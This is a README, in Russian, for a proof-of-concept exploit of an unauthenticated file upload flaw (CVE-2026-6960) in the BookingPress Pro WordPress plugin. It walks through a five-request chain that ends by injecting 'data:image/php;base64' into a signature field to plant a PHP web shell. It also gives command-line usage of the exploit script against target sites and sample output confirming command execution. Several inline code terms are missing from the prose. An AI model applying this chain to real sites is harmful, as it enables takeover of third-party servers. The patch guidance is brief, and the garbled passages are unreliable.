
Эксплойт proof-of-concept для CVE-2026-6960: неаутентифицированная произвольная загрузка файлов в BookingPress Pro ≤ 5.6. Автоматизирует цепочку из 3 шагов для загрузки PHP-веб-шелла через инъекцию data URI, обеспечивая удалённое выполнение кода на уязвимых сайтах WordPress.
Исследование: Atomic Edge Серьёзность: Критическая | CVSS: 9.8 | Требуется аутентификация: Нет
⚠️ v2 — Применены технические исправления на основе отзывов сообщества. Подробности см. в Журнале изменений.
Критическая неаутентифицированная уязвимость произвольной загрузки файлов существует в — плагине WordPress (версии ≤ 5.6). Обработчик отправки бронирования обрабатывает значение пользовательского поля подписи как . Плагин извлекает расширение файла из части MIME-типа URI с помощью регулярного выражения и передаёт его напрямую в — без разрешённого списка расширений или блок-листа. Это позволяет атакующему записать PHP-веб-шелл в каталог, доступный через веб, и добиться .
bookingpress_book_appointment_bookingfile_put_contents()| Свойство | Подробности |
|---|---|
| Плагин | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Затронуто | ≤ 5.6 |
| Исправлено в | 5.7 |
| Вектор | Сеть / без аутентификации |
| AJAX-действие | bookingpress_book_appointment_booking |
| Корневая причина | Расширение извлекается из контролируемого атакующим MIME-типа в data URI → file_put_contents() без разрешённого списка |
| CWE | CWE-434: Неограниченная загрузка файла опасного типа |
⚠️ Для эксплуатации сайта должны выполняться все следующие условия:
Сайты с версией ≤ 5.6 без настроенного пользовательского поля подписи не уязвимы через этот вектор.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
Уязвимый путь кода обрабатывает значение поля подписи как data URI:
data:image/{ext};base64,{base64_encoded_content}
BookingPress извлекает {ext} из MIME-типа с помощью регулярного выражения, а затем записывает декодированное содержимое на диск через file_put_contents(), добавляя это расширение к имени файла — проверка разрешённого списка не выполняется. Указание image/php в качестве MIME-типа приводит к записи файла .php в каталог загрузки.
Это принципиально отличается от стандартной многокомпонентной (multipart) загрузки файлов — полезная нагрузка встраивается в поле JSON-тела, а не в часть загрузки файла.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
| Флаг | Описание | По умолчанию |
|---|---|---|
-u, --url | Целевой URL WordPress | (обязательно) |
-bp, --booking-page | Путь к странице с формой BookingPress | / |
-s, --service-id | Идентификатор услуги BookingPress | 1 |
-f, --filename | Имя файла шелла (расширение внедряется в MIME data URI) | shell.php |
--no-verify | Отключить проверку SSL-сертификата | false |
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml) перед извлечением расширенияwp_check_filetype_and_ext() для всей проверки типов файлов→ Немедленно обновитесь до BookingPress Pro 5.7.
| # | Проблема | v1 (неверно) | v2 (исправлено) |
|---|---|---|---|
| 1 | AJAX-действие | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Метод полезной нагрузки | Многокомпонентная загрузка файла с image/png | Data URI: data:image/{ext};base64,... |
| 3 | Порядок эксплуатации | Прямой неаутентифицированный POST | Цепочка из 3 предварительных шагов (nonce → transient → token) |
| 4 | Предварительное условие | Не задокументировано | Должно быть настроено пользовательское поле подписи |
Этот репозиторий предназначен только для авторизованных исследований в области безопасности и образовательных целей. Не используйте этот инструмент против любой системы без явного письменного разрешения владельца системы. Несанкционированное использование может нарушать CFAA (США), Уголовный кодекс, ст. 342.1 (Канада), директиву ЕС NIS2 и другие применимые законы. Авторы не несут ответственности за неправомерное использование или ущерб, возникший в результате использования этого кода.